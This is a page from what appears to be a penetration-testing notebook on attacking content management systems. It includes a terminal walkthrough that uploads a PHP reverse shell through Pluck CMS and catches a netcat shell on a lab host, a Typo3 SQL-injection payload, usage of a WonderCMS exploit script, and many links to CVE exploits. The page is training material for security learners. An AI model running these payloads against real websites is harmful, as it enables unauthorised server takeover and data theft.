Pluck v4.7.18 - Remote Code Execution (RCE)Exploit Database

Manually

[Oct 05, 2024 - 03:34:55 (EDT)] exegol-Lab /workspace # wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php
--2024-10-05 03:34:56--  https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5491 (5.4K) [text/plain]
Saving to: ‘php-reverse-shell.php’

php-reverse-shell.php 100%[========================>]   5.36K  --.-KB/s    in 0.002s  

2024-10-05 03:34:56 (2.16 MB/s) - ‘php-reverse-shell.php’ saved [5491/5491]

[Oct 05, 2024 - 03:34:56 (EDT)] exegol-Lab /workspace # vim php-reverse-shell.php 
[Oct 05, 2024 - 03:35:25 (EDT)] exegol-Lab /workspace # mv php-reverse-shell.php shell.php
[Oct 05, 2024 - 03:35:48 (EDT)] exegol-Lab /workspace # zip payload.zip shell.php
  adding: shell.php (deflated 59%)

Go to http://domain.com/data/modules/<name_zip_file>/<rev_shell.php>

Ex: http://domain.com/data/modules/payload/shell.php

# nc -nlvp 1234           
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.11.25.
Ncat: Connection from 10.10.11.25:39930.
Linux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 07:43:21 up 12:33,  0 users,  load average: 0.41, 0.79, 0.86
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

WonderCMS

CVE-2023-41425 - XSS to RCE Unauth

Wonder CMS v.3.2.0 thru v.3.4.2

GitHub - prodigiousMind/CVE-2023-41425: WonderCMS Authenticated RCE - CVE-2023-41425GitHub

usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")

If /wondercms/loginURL does not exist, just try /loginURL

Typo3

If you come across a domain that uses Typo3 CMS, be sure to check its parameters. Old version Typo3 CMS may still earn you reward. Payload;

 -1+OR+3 AND if(now()=sysdate(),SLEEP(9),0)-- wXyW2 AND if(now()=sysdate(),SLEEP(9),0)-- wXyW1=6 +AND+000762=000762

Scanners

GitHub - whoot/Typo3Scan: Enumerate Typo3 version and extensionsGitHub

GitHub - mschwemer/typo3scan: Scans TYPO3 extensions for usage of deprecated and or changed codeGitHub

CMS Made Simple

Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9

CMS Made Simple SQL Injection ≈ Packet Storm

HTB - Write Up0xSs0rZ

Umbraco

Enumeration

Wordlist

wordlists/technologies/umbraco-cms-all-levels.txt at main · trickest/wordlistsGitHub

wordlists/technologies/umbraco-cms.txt at main · trickest/wordlistsGitHub

Umbraco - CVE-2019-18988 - RCE

HTB - Remote0xSs0rZ

Ghost CMS

Reco

Admin Panel: /ghost/ – The admin login page. /ghost/#/signin – Direct link to the sign-in page. Content and Static Files: /content/images/ – Default directory for uploaded images. /content/themes/ – Directory for installed themes. /content/ – Base directory for content, themes, and images. API Endpoints: /ghost/api/v3/ – API endpoint for Ghost CMS v3. /ghost/api/v4/ – API endpoint for Ghost CMS v4. /ghost/api/v4/content/ – Public content API endpoint. /ghost/api/v4/admin/ – Admin API endpoint. Configuration and Backup Files: /config.production.json – Configuration file for the production environment (should not be publicly accessible). /config.development.json – Configuration file for the development environment. /ghost/api/v3/admin/db/ – Potentially accessible database endpoint for backup

Enumeration

Wordlists

wordlists/technologies/ghost-all-levels.txt at main · trickest/wordlistsGitHub

wordlists/technologies/ghost.txt at main · trickest/wordlistsGitHub

CVE-2024-23724 - Stored XSS

CVE-2024-23724: Ghost CMS Stored XSS Leading to Owner Takeover - Rhino Security LabsRhino Security Labs

CVEs/CVE-2024-23724 at master · RhinoSecurityLabs/CVEsGitHub

CVE-2023-40028 - Arbitrary File Read

GitHub - 0xyassine/CVE-2023-40028GitHub

CVE-2023-32235 - Path Traversal

GitHub - AXRoux/Ghost-Path-Traversal-CVE-2023-32235-: A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder.GitHub

SPIP

GitHub - nuts7/CVE-2023-27372: SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.GitHub

SPIP v4.2.0 - Remote Code Execution (Unauthenticated)Exploit Database

Craft CMS

Enumeration

Wordlists

wordlists/technologies/craftcms-all-levels.txt at main · trickest/wordlistsGitHub

wordlists/technologies/craftcms.txt at main · trickest/wordlistsGitHub

CVE-2025-32432: Craft CMS Preauth RCE

Add new exploit for CVE-2025-32432: Craft CMS Preauth RCE by Chocapikk · Pull Request #20085 · rapid7/metasploit-frameworkGitHub

CVE-2024-56145

GitHub - Chocapikk/CVE-2024-56145: Unauthenticated RCE on CraftCMS when PHP `register_argc_argv` config setting is enabledGitHub

Kentico CMS

XSS to RCE - CVE-2025-2748

XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)watchTowr Labs

FoxCMS

GitHub - Mattb709/CVE-2025-29306-PoC-FoxCMS-RCE: Proof-of-Concept (PoC) for CVE-2025-29306, a Remote Code Execution vulnerability in FoxCMS. This Python script scans single or multiple targets, executes commands, and reports vulnerable hosts.GitHub

Sitecore Experience Platform

Is b For Backdoor? Pre-Auth RCE Chain In Sitecore Experience PlatformwatchTowr Labs

Backdrop CMS

Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)

Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)Exploit Database

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

The Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.

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PreviousWAF Bypass NextDjango

Last updated 10 days ago

Default credentials

Scanner

Awesome RCE Techniques

Nibbleblog

GetSimple

Wordpress

Discovery

Version

Log file

Fuzzing

WAF path-based bypass

Open Registration

Directory Listing enabled

Plugins and Themes

Username Enumeration

XMLRPC

WPscan

WPProbe

WPFinger

WPIntel

Nuclei Template

Login Bruteforce

With Hydra

With Kraken

Bypass 403

XSS to RCE

Code Execution

Themes

Metasploit

Others (not CPTS)

Leveraging Known Vulnerabilities

Theme - twentytwentyone v1.1

Plugin Vulnerabilities

WooCommerce - LFI

Buddyforms 2.7.7 - Iconv RCE

Time Clock <= 1.2.2 & Time Clock Pro <= 1.1.4 - Unauthenticated (Limited) Remote Code Execution

Really Simple Security 9.0.0 – 9.1.1.1 – CVE-2024-10924 Authentication Bypass

Authenticated Contributor Remote Code Execution in Widget Options Plugin <= 4.0.7 - CVE-2024-8672

Unauthenticated Remote Code Execution - Bit File Manager version 6.0 - 6.5.5

Unauthenticated Remote Code Execution – Bricks Builder plugin <= 1.9.6

ValvePress Automatic - CVE-2024-27956 - SQLi

WordPress User Registration & Membership plugin (Free < 4.1.2, Pro < 5.1.2)

Formidable Pro plugin

Joomla

Discovery

Scanners

Version

Enumeration

Wordlist

Droopscan

JoomlaScan

Login Brute Force

Joomla! Config Dist File

Database File List

Joomla! 1.6/1.7/2.5 - Privesc by creating admin account

Joomla! < 4.2.8 - Unauthenticated information disclosure - CVE-2023-23752

Code Execution

Reverse Shell

Plug In - Web Shell

Joomla < 3.9.5

Drupal

Discovery/Footprinting

Enumeration

/core/install.php accessible

Scanners

Droopescan

Drupwn

Login Brute Force

Leveraging the PHP Filter Module

Drupal before version 8

From version 8 onwards

Uploading a Backdoored Module

Drupalgeddon

Drupalgeddon2

Drupalgeddon3

Pluck CMS

Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)

Version 4.7.16

Version 4.7.18

WonderCMS